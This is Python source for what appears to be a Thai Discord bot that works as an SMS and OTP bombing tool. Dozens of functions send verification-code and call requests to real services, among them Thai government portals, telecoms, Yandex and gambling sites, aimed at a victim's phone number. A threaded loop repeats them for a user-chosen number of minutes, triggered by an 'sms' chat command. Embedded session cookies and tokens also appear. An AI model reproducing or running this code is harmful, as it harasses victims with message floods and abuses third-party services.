"auth.strategy=local;auth._token.local=Bearer%20eyJ0eXAiOiJKV1QiLCJlbmMiOiJBMTI4Q0JDLUhTMjU2IiwiYWxnIjoiZGlyIn0..P9LOZOUnXvgw5wDxPqSuCg.jjRU6v4iidkFNv4nROigeng1s9e96LnzplOaml7YSasaTxwozO37IWuq-h6bV5JyxpaRvIL9UCochw-3OciWq_VrORNwnH45b-ziIAhZ-CpLpt1O_4EpM27y7TYXBb_w6DT3BJp1ARkG7CqSouTnGg.2n1G9HbFJzArFH5Rr2m9kg;_utm_objs=eyJzb3VyY2UiOiJnb29nbGUiLCJtZWRpdW0iOiJjcGMiLCJjYW1wYWlnbiI6ImFkd29yZHMiLCJj%0D%0Ab250ZW50IjoiYWR3b3JkcyIsInRlcm0iOiJhZHdvcmRzIiwidHlwZSI6InJlZmVycmVyIiwidGlt%0D%0AZSI6MTY0MjMyOTM5OTU4NSwiY2hlY2tzdW0iOiJaMjl2WjJ4bExXTndZeTFoWkhkdmNtUnpMVEUy%0D%0ATkRJek1qa3pPVGsxT0RVPSJ9;_pk_ref.564990563.2c0e=%5B%22%22%2C%22%22%2C1642329400%2C%22https%3A%2F%2Fwww.google.com%2F%22%5D;_pk_ses.564990563.2c0e=*;_gcl_au=1.1.833577636.1642329400;_asm_visitor_type=n;_ac_au_gt=1642329406505;cdp_session=1;_asm_uid=637506384;_ga=GA1.2.1026893832.1642329403;_gid=GA1.2.1437369318.1642329403;OptanonConsent=isIABGlobal=false&datestamp=Sun+Jan+16+2022+17%3A36%3A45+GMT%2B0700+(%E0%B9%80%E0%B8%A7%E0%B8%A5%E0%B8%B2%E0%B8%AD%E0%B8%B4%E0%B8%99%E0%B9%82%E0%B8%94%E0%B8%88%E0%B8%B5%E0%B8%99)&version=6.9.0&hosts=&consentId=e0fe7ec6-3c1e-4aa7-9e72-ecd2ed724416&interactionCount=0&landingPath=https%3A%2F%2Fwww.bigthailand.com%2Fcategory%2F850%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2581%25E0%25B8%25A5%25E0%25B8%25B0%25E0%25B8%2582%25E0%25B8%25AD%25E0%25B8%2587%25E0%25B9%2580%25E0%25B8%25AB%25E0%25B8%25A5%25E0%25B8%25A7%2F%25E0%25B8%2599%25E0%25B9%2589%25E0%25B8%25B3%25E0%25B8%25A1%25E0%25B8%25B1%25E0%25B8%2599%25E0%25B9%2580%25E0%25B8%2584%25E0%25B8%25A3%25E0%25B8%25B7%25E0%25B9%2588%25E0%25B8%25AD%25E0%25B8%2587%3Fgclid%3DCj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB&groups=C0001%3A1%2CC0003%3A1%2CC0002%3A1%2CC0007%3A1;_fbp=fb.1.1642329406623.363807498;_hjSessionUser_2738378=eyJpZCI6ImVkNmZhOGY3LTQwNDctNTNjMi04YTVjLTQ0OGE5MDA4YjhiZCIsImNyZWF0ZWQiOjE2NDIzMjk0MDQ4MDMsImV4aXN0aW5nIjpmYWxzZX0=;_hjFirstSeen=1;_hjIncludedInSessionSample=0;_hjSession_2738378=eyJpZCI6ImNhN2UwZDFhLTZkNmQtNGM0Mi04YmI1LTg4NWJmNzZjMGExZCIsImNyZWF0ZWQiOjE2NDIzMjk0MTEwNzcsImluU2FtcGxlIjpmYWxzZX0=;_hjIncludedInPageviewSample=1;_hjAbsoluteSessionInProgress=0;_gac_UA-165856282-1=1.1642329477.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_gcl_aw=GCL.1642329478.Cj0KCQiAoY-PBhCNARIsABcz772kcpD38d5bhec3kfJbZgVxKFVwa2RmZytANH-PiwJdPXbqc7VOzCEaAuBkEALw_wcB;_pk_id.564990563.2c0e=0.1642329400.1.1642329489.1642329400.;_ac_client_id=637515726.1642329496;_ac_an_session=zmzlzhzlzizqzmzjzkzjzdzlzgzkzmzizmzkzhzlzdzizlznzhzgzhzqznzqzlzdzizdzizlznzhzgzhzqznzqzlzdzizlznzhzgzhzqznzqzlzdzizdzgzjzizdzjzd2h25zdzgzdzezizd;au_id=637515726;_ga_80VN88PBVD=GS1.1.1642329399.1.1.1642329493.44"}) def api72(phone): post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum":phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api73(phone): post("https://bacara888.com/api/otp/register",data={"applicant":phone,"serviceName":"gclub"}) def api74(phone): post("https://www.tslpv.net/api/v1/sendRegisterSms", data={"national_number":phone,"country_code":"TH","g_token":"null"}) def api75(phone): post("https://queenclub88.com/api/register/phone", data={"phone":phone}) def api76(phone): post("https://api.cdfoi9.com/api/v1/index.php", data=f"module=%2Fusers%2FgetVerificationCode&mobile={phone}&merchantId=111&domainId=0&accessId=&accessToken=&walletIsAdmin=",headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","content-type": "application/x-www-form-urlencoded"}) def api77(phone): get(f"https://api.joox.com/web-fcgi-bin/web_account_manager?optype=5&os_type=2&country_code=66&phone_number=0{phone}&time=1641777424446&_=1641777424449&callback=axiosJsonpCallback2") def api79(phone): send = Session() send.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) snd = send.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") sed = send.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def api80(phone): get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def api88(phone): post("https://globalapi.pointspot.co/papi/oauth2/signinWithPhone", data={"phoneNumber": phone}) def api89(phone): # QCLOUD post("https://api.cashmarket-th.com/app/userinfo/send/smsCode", json={"baseParams":{"platformId":"android","deviceType":"h5","deviceIdKh":"20220118121149smyjjs57jxtqbwkuu74y0vd6p5yzhrmp86872f73364d46d3bf9446ddd583ef61ee8fafe504bab46ec267ca96a99281d6rreqhrlgsg4p3srgv1i5s4pp8u9la6gf1","termSysVersion":"5.1.1","termModel":"A37f","brand":"","termId":"null","appType":"6","appVersion":"2.0.0","pValue":"","position":{"lon":"null","lat":"null"},"bizType":"0000","appName":"Cash Market","packageName":"com.cashmarketth.h5","screenResolution":"720,1280"},"clientTypeFlag":"h5","token":"","phoneNumber":"","timestamp":"1642479101529","bizParams":{"phoneNum": phone,"code":"null","type":200,"channelCode":"hJ071"}}) def api90(phone): post("https://shopgenix.com/api/sms/otp/",headers=header,data=f"mobile_country_id=1&mobile={phone}") # SME-GP def api91(phone): post("https://api.thaisme.one/smegp/register/request-otp",json={"MOBILE":phone}) #YOUROTP def api92(phone): post("https://apiv3.slot999ss.com/front/api/register/set/OTP",data=f"phone={phone}",headers={"content-type": "application/x-www-form-urlencoded;charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) #Sabuy-Ebuy def api93(phone): post("https://sabuyebuy.com/wp-json/api/v1/get-otp",headers=header,json={"msisdn":f"{phone}"}) #FAST-PLUS. def api94(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", data={"tel":phone,"otp_type":"register"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","authorization": "Basic 755b4608e637d413d668502704d93e377f4f67b2d3d0f50e5644af3607f31ddb3174ecaf5b2c40c86f9efc32de1ee0bbf3e7a2b32cb055a3cb7068e1bb152844"}) #Zilingo def api95(phone): post("https://id.zilingo.com/api/v1/userVerification/initiate?up_s=B2B_ASIA_MALL&up_cd=v1_eyJjbGllbnRVc2VySWRlbnRpZmljYXRpb24iOnsiYW5vbnltb3VzVXNlcklkT3B0IjoiQUlENTUwMDY3MTIzMjA0NTY2MDkyIiwic2Vzc2lvbklkT3B0IjoiU0lENTUwMDY3MTIzMjA0NTY2MDkyIiwidXNlcklkT3B0IjpudWxsfSwic2NyZWVuT3B0Ijp7InNjcmVlblR5cGUiOiJDQVRFR09SWSIsInNjcmVlbklkIjoiV0NMIiwic2NvcGUiOm51bGx9LCJidXllclJlZ2lvbk9wdCI6IkIyQl9USEEiLCJsb2NhbGVDb2RlIjoidGgiLCJxdiI6eyJjbGllbnQiOiJXZWIiLCJzdWJDbGllbnQiOiJEZXNrdG9wV2ViIiwidmVyc2lvbiI6IjM1LjguNSJ9fQ==",headers=header,json={"channelDetails":{"phoneNumber":f"+66{phone[1:]}","channelType":"SMS"},"source":"UNIFIED_LOGIN","action":"OTP_LOGIN","redirectTo":"/th-th/Women/Clothing"}) #DGA def api96(phone): post("https://accounts.egov.go.th/Citizen/Account/MobileRegisterJson",headers=header,json={"Mobile":f"{phone}","TransactionId":"f28ef0a2-23ff-4abd-b9e6-fdfc271298ea"}) def api97(phone): post("https://tdhw.treasury.go.th/TD-Vote/api/otp/request",json={"ID_CARD":"1104200197909","TEL":f"{phone}","OTP_TYPE":"OTP_TEST"}) def api98(phone): post("https://user-api.learn.co.th/authentication/sendOTP",json={"mobileNumber": phone},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Host": "user-api.learn.co.th","content-length": "29","sec-ch-ua-mobile": "?1","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, /","sec-ch-ua-platform": "Android","origin": "https://user.learn.co.th","sec-fetch-site": "same-site","sec-fetch-mode": "cors","sec-fetch-dest": "empty","referer": "https://user.learn.co.th/","x-api-key": "USER_API_KEY"}) #FOODDIARY def api99(phone): post("https://www.fooddiaryonlineshop.com/RegisterNewCustomer",headers=header,data=f"__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=Ble7%2FRYu%2F1RjtS%2FfO9KgKdBWKCntkuS%2F0x7Qh6w4mnY7kV82h741dj1JFc5xnFbW7yacbboe0%2B5nTVVF%2BFSGEHQvaTkL4HQ5qDJbZMBQEt73YZZ%2FZON2LWw193tcYCjDwL3y3vy3lks%2BduyUOCNMwlwNpfrPDsvbhgT4qDCekWgvnnFrzFGCtQYO6cTU3Lax6YpvUbBld0oKgkWcHg0efFp3K2S2fLx%2BK4oTVGr6bq1QdKl5uPHqtL04IHkdy7X6Wbf6lUTQgOa5q5wLfE2KUGHWUUsYjahMwHmRCaVSxB7P1eDmiZ%2BQNku9pHs7m50GtCSePXPSfYtFBumDCM2R1XklFOdYV4X1jJgt%2Fe3MGV1Xmj7cRE%2FsBk1u%2FMYfN%2BmXb5dxruqgDuhXAnWP%2F8Syot1XGEUtVclmfF5NIB0KkCu6He8dheN%2BhEkupLqzP6Ip6OAMNnvssm1rMngwDy7ipCNC3dPXMj83IpBuuD1LWbPr3x3ksf0%2FrGL4yM7jvr8a99ifPcJPcmJzY%2Feay0PKwdwA3u2KTyCoXVgMZwqvsdRoyRHlFooZ3AHoBNsQrkegtyk5eHtjpBTLHD1dzQT3R%2FRaYIbencMw%2B5BbVJWiPzVTXF%2BiQ9A64UcUP9adMciJa7TudfL331vSRd%2FwVMkA%2B1fDtVrfBBi8%2BHbta7BsuVjk0ZodiLMuloOsYaTSilSLmidUpEZFsj0Zhz%2FpwGu%2FGKMixcG95PmRkOdpAj4d2D8%3D&__VIEWSTATEGENERATOR=94756D41&ctl00%24MainContent%24PageGUIDForSession=&ctl00%24MainContent%24rdEmail=U&ctl00%24MainContent%24rdMobile=C&ctl00%24MainContent%24cbpEmptry%24txtMobileNo%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B{phone}%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtMobileNo=0958816629&ctl00%24MainContent%24cbpEmptry%24txtOTP%24State=%7B%26quot%3BrawValue%26quot%3B%3A%26quot%3B%26quot%3B%2C%26quot%3BvalidationState%26quot%3B%3A%26quot%3B%26quot%3B%7D&ctl00%24MainContent%24cbpEmptry%24txtOTP=&ctl00%24MainContent%24cbpEmptry%24chkRead=U&ctl00%24MainContent%24cbpEmptry%24chkConsent=U&DXScript=1_16%2C1_17%2C1_28%2C1_66%2C1_18%2C1_19%2C1_20%2C1_21%2C1_224%2C1_225%2C1_230%2C1_229%2C1_51%2C1_22%2C1_14%2C1_226%2C1_52&DXCss=1_248%2C1_69%2C1_71%2C1_250%2C1_247%2C1_75%2C1_74%2C1_251%2C%2FContent%2Fcss%3Fv%3DFILIkBdKK0FrNSvnRmezf5qTxic9NR7FOzzIJ8iQAKQ1%2Cfavicon.ico%2C..%2F..%2FContent%2Fbootstrap.min.css%2CStyles%2Fbutton.css&__CALLBACKID=ctl00%24MainContent%24cbpEmptry&__CALLBACKPARAM=c0%3ARequestOTP&__EVENTVALIDATION=N%2FlR5TtQKjdRNUQy0QFSjIjFW06D%2Fdy2VFm5Zl%2FTN%2FlsEYUsQVZwH8qpQ5sFzI0PBX2ZLH3HhxXkkZRvuada%2Bu6zsHxSgV3In38ahlf75%2Blm%2BguMSbwp%2FSxuo4Cc3cm5ZFVYYR9eVfvdwG4YsxWYbA%3D%3D") #yandex def api100(phone): post("https://passport.yandex.com/registration-validations/phone-confirm-code-submit",headers=header,data=f"track_id=b3dc4a29a19d038f1cd522187726d7bb5a&csrf_token=e150046ff026a517c15d45444294ffa3275b140c%3A1645857142788&number={phone}&isCodeWithFormat=true&confirm_method=by_sms") def api101(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text res=session.post("https://srfng.ais.co.th/api/v2/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def api102(phone): post("https://api.zaapi.co/api/store/auth/otp/login",json={"phoneNumber":f"+66{phone[1:]}","namespace":"zaapi-buyers"},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api103(phone): get(f"https://bkk-api.ks-it.co/Vcode/register?country_code=66&phone={phone}&sms_type=1&user_type=2&app_version=4.3.25&device_id=79722530562d973f&app_device_param=%7B%22os%22%3A%22Android%22%2C%22app_version%22%3A%224.3.25%22%2C%22model%22%3A%22A37f%22%2C%22os_ver%22%3A%225.1.1%22%2C%22ble%22%3A%220%22%7D&language=th&token=") #OTP_SMS def api104(phone): post("https://www.vegas77slots.com/auth/send_otp",data=f"phone={phone}&otp=&password=&bank=&bank_number=&full_name=&ref=21076",headers={"content-type": "application/x-www-form-urlencoded","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "vegas77slots=pj5kj4ovnk2fao1sbaid2eb76l1iak7b"}) #privacy def api105(phone): post("https://ipro356.com/wp-content/themes/hello-elementor/modules/index.php",data=f"method=wpRegisterotp&otp_tel={phone}",headers={"content-type": "application/x-www-form-urlencoded; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "PHPSESSID=vtacuje1no166kkp4d40nolak5"}) #kaspy def api106(phone): post("https://kaspy.com/sms/sms.php/",data=f"phone={phone}",headers={"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","User-Agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","Cookie": "PHPSESSID=2i484jdb1pie5am071cveupme5; mage-cache-storage=%7B%7D; mage-cache-storage-section-invalidation=%7B%7D; mage-cache-sessid=true; form_key=rUt4Q17TiRlUfgKz; _ga=GA1.2.1486915122.1646803642; _gid=GA1.2.1348564830.1646803642; _fbp=fb.1.1646803643605.1538052508; mage-messages=; recently_viewed_product=%7B%7D; recently_viewed_product_previous=%7B%7D; recently_compared_product=%7B%7D; recently_compared_product_previous=%7B%7D; product_data_storage=%7B%7D; smartbanner_exited=1; __atuvc=2%7C10; __atuvs=62283aaa77850300001; _gat=1; private_content_version=382c8a313cac3cd587475c1b3693672e; section_data_ids=%7B%22cart%22%3A1646803701%2C%22customer%22%3A1646803701%2C%22compare-products%22%3A1646803701%2C%22last-ordered-items%22%3A1646803701%2C%22directory-data%22%3A1646803701%2C%22captcha%22%3A1646803701%2C%22instant-purchase%22%3A1646803701%2C%22persistent%22%3A1646803701%2C%22review%22%3A1646803701%2C%22wishlist%22%3A1646803701%2C%22chatData%22%3A1646803701%2C%22recently_viewed_product%22%3A1646803701%2C%22recently_compared_product%22%3A1646803701%2C%22product_data_storage%22%3A1646803701%2C%22paypal-billing-agreement%22%3A1646803701%2C%22messages%22%3A1646803708%7D"}) def api107(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def call1(phone): post("https://www.theconcert.com/rest/request-otp",json={"mobile":phone,"country_code":"TH","lang":"th","channel":"call","digit":4},headers={"user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36","cookie": "_gcl_au=1.1.708266966.1646798262;_fbp=fb.1.1646798263293.934490162;_gid=GA1.2.1869205174.1646798265;__gads=ID=3a9d3224d965d1d5-2263d5e0ead000a6:T=1646798265:RT=1646798265:S=ALNI_MZ7vpsoTaLNez288scAjLhIUalI6Q;_ga=GA1.2.2049889473.1646798264;_gat_UA-133219660-2=1;_ga_N9T2LF0PJ1=GS1.1.1646798262.1.1.1646799146.0;adonis-session=a5833f7b41f8bc112c05ff7f5fe3ed6fONCSG8%2Fd2it020fnejGzFhf%2BeWRoJrkYZwCGrBn6Ig5KK0uAhDeYZZgjdJeWrEkd2QqanFeA2r8s%2FXf7hI1zCehOFlqYcV7r4s4UQ7DuFMpu4ZJ45hicb4xRhrJpyHUA;XSRF-TOKEN=aacd25f1463569455d654804f2189bc77TyRxsqGOH%2FFozctmiwq6uL6Y4hAbExYamuaEw%2FJqE%2FrWzfaNdyMEtwfkls7v8UUNZ%2BFWMqd9pYvjGolK9iwiJm5NW34rWtFYoNC83P0DdQpoiYfm%2FKWn1DuSBbrsEkV"}) #https://swagger.io/specification/ def startall(phone, amount): for x in range(amount): threading.submit(sk1, phone) threading.submit(sk2, phone) threading.submit(sk3, phone) threading.submit(sk4, phone) threading.submit(sk5, phone) threading.submit(sk6, phone) threading.submit(sk7, phone) threading.submit(sk8, phone) threading.submit(sk9, phone) threading.submit(sk10, phone) threading.submit(sk11, phone) threading.submit(sk12, phone) threading.submit(sk13, phone) threading.submit(sk14, phone) threading.submit(sk15, phone) threading.submit(sk16, phone) threading.submit(sk17, phone) threading.submit(sk18, phone) threading.submit(sk19, phone) threading.submit(sk20, phone) threading.submit(sk21, phone) threading.submit(sk22, phone) threading.submit(sk23, phone) threading.submit(sk24, phone) threading.submit(sk25, phone) threading.submit(sk26, phone) threading.submit(sk27, phone) threading.submit(sk28, phone) threading.submit(sk29, phone) threading.submit(sk30, phone) threading.submit(sk31, phone) threading.submit(sk32, phone) threading.submit(p1112v2, phone) threading.submit(yandex, phone) threading.submit(p1112, phone) threading.submit(okru, phone) threading.submit(karusel, phone) threading.submit(icq, phone) threading.submit(findclone, phone) threading.submit(spam_pizza, phone) threading.submit(youla, phone) threading.submit(instagram, phone) threading.submit(VBC, phone) threading.submit(api1, phone) threading.submit(api2, phone) threading.submit(api3, phone) threading.submit(api4, phone) threading.submit(api5, phone) threading.submit(api6, phone) threading.submit(api7, phone) threading.submit(api8, phone) threading.submit(api9, phone) threading.submit(api10, phone) threading.submit(api11, phone) threading.submit(api12, phone) threading.submit(api13, phone) threading.submit(api14, phone) threading.submit(api15, phone) threading.submit(api16, phone) threading.submit(api17, phone) threading.submit(api18, phone) threading.submit(api19, phone) threading.submit(api22, phone) threading.submit(api21, phone) threading.submit(api23, phone) threading.submit(api24, phone) threading.submit(api25, phone) threading.submit(api26, phone) threading.submit(api27, phone) threading.submit(api28, phone) threading.submit(api29, phone) threading.submit(api30, phone) threading.submit(api31, phone) threading.submit(api32, phone) threading.submit(api33, phone) threading.submit(api34, phone) threading.submit(api35, phone) threading.submit(api36, phone) threading.submit(api37, phone) threading.submit(api38, phone) threading.submit(api39, phone) threading.submit(api40, phone) threading.submit(api41, phone) threading.submit(api42, phone) threading.submit(api43, phone) threading.submit(api44, phone) threading.submit(api45, phone) threading.submit(api46, phone) threading.submit(api47, phone) threading.submit(api48, phone) threading.submit(api49, phone) threading.submit(api50, phone) threading.submit(api51, phone) threading.submit(api52, phone) threading.submit(api53, phone) threading.submit(api54, phone) threading.submit(api55, phone) threading.submit(api56, phone) threading.submit(api57, phone) threading.submit(api58, phone) threading.submit(api59, phone) threading.submit(api60, phone) threading.submit(api61, phone) threading.submit(api62, phone) threading.submit(api63, phone) threading.submit(api64, phone) threading.submit(api65, phone) threading.submit(api66, phone) threading.submit(api67, phone) threading.submit(api68, phone) threading.submit(api69, phone) threading.submit(api70, phone) threading.submit(api71, phone) threading.submit(api72, phone) threading.submit(api73, phone) threading.submit(api74, phone) threading.submit(api75, phone) threading.submit(api76, phone) threading.submit(api77, phone) threading.submit(api79, phone) threading.submit(api80, phone) threading.submit(api88, phone) threading.submit(api89, phone) threading.submit(api90, phone) threading.submit(api91, phone) threading.submit(api92, phone) threading.submit(api93, phone) threading.submit(api94, phone) threading.submit(api95, phone) threading.submit(api96, phone) threading.submit(api97, phone) threading.submit(api98, phone) threading.submit(api99, phone) threading.submit(api100, phone) threading.submit(api101, phone) threading.submit(api102, phone) threading.submit(api103, phone) threading.submit(api104, phone) threading.submit(api105, phone) threading.submit(api106, phone) threading.submit(api107, phone) threading.submit(call1, phone) @bot.event async def on_command_error(ctx, error): print(str(error)) @bot.event async def on_ready(): await bot.change_presence(status=discord.Status.idle, activity=discord.Activity(type=discord.ActivityType.playing, name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌')) print(gratient.purple(f" Login as : {bot.user.name}#{bot.user.discriminator}")) @bot.command() @commands.has_role('//') async def help(ctx): await ctx.message.delete() embed=discord.Embed( description=f"```command ⚙️ : {PREFIX}sms Phone Amount : 1 - {str(LIMIT)} : messgae```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed) @bot.command() async def sms(ctx, phone=None, amount=None): if (str(ctx.message.channel.id) == '1002168628046737418'): if (phone == None or amount == None): embed=discord.Embed( description="```#กรุณาใส่ข้อมูลให้ครบถ้วน#```", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) else: if (phone not in blacklist): try: amount = int(amount) if (amount > LIMIT): embed=discord.Embed( description=f":alarm_clock: : ใส่ไม่เกิน {LIMIT} นาที.", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=f"เบอร์ 📱 : ||{phone}|| \nสถานะ :envelope_with_arrow: : สุ่ม \nเป็นเวลา :bar_chart: : {amount} นาที", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.send(embed=embed,) startall(phone, amount) await ctx.message.delete() except: embed=discord.Embed( description=":clipboard: : ใส่เบอร์คนที่จะยิงให้ถูก. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') embed.set_image(url='https://media.discordapp.net/attachments/1002879972219834408/1003142533062332506/standard.gif') await ctx.message.delete() await ctx.send(embed=embed,delete_after=10) else: embed=discord.Embed( description=f":face_with_symbols_over_mouth: : อย่ายิงเบอร์กู : :face_with_symbols_over_mouth: ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name='𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://i.pinimg.com/originals/70/a5/52/70a552e8e955049c8587b2d7606cd6a6.gif') embed.set_image(url='https://cdn.discordapp.com/attachments/945589995647926293/961138791165329488/D92BA985-A039-4765-863B-CAA1BC1F8629.png') await ctx.send(embed=embed,) await ctx.message.delete() else: embed=discord.Embed( description=":chart_with_downwards_trend: : ใส่ให้ภูกห้องไอควาย \n #〖📩〗-»《. ", color=0x00ff00, timestamp=datetime.utcnow()) embed.set_footer(text=" | Bot by 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌") embed.set_author(name=' 𝑪𝒂𝒔𝒕𝒍𝒆 𝒐𝒇 𝒅𝒂𝒓𝒌') embed.set_thumbnail(url='https://media.discordapp.net/attachments/680449178626818065/909437371097972747/794404253744496642.gif') 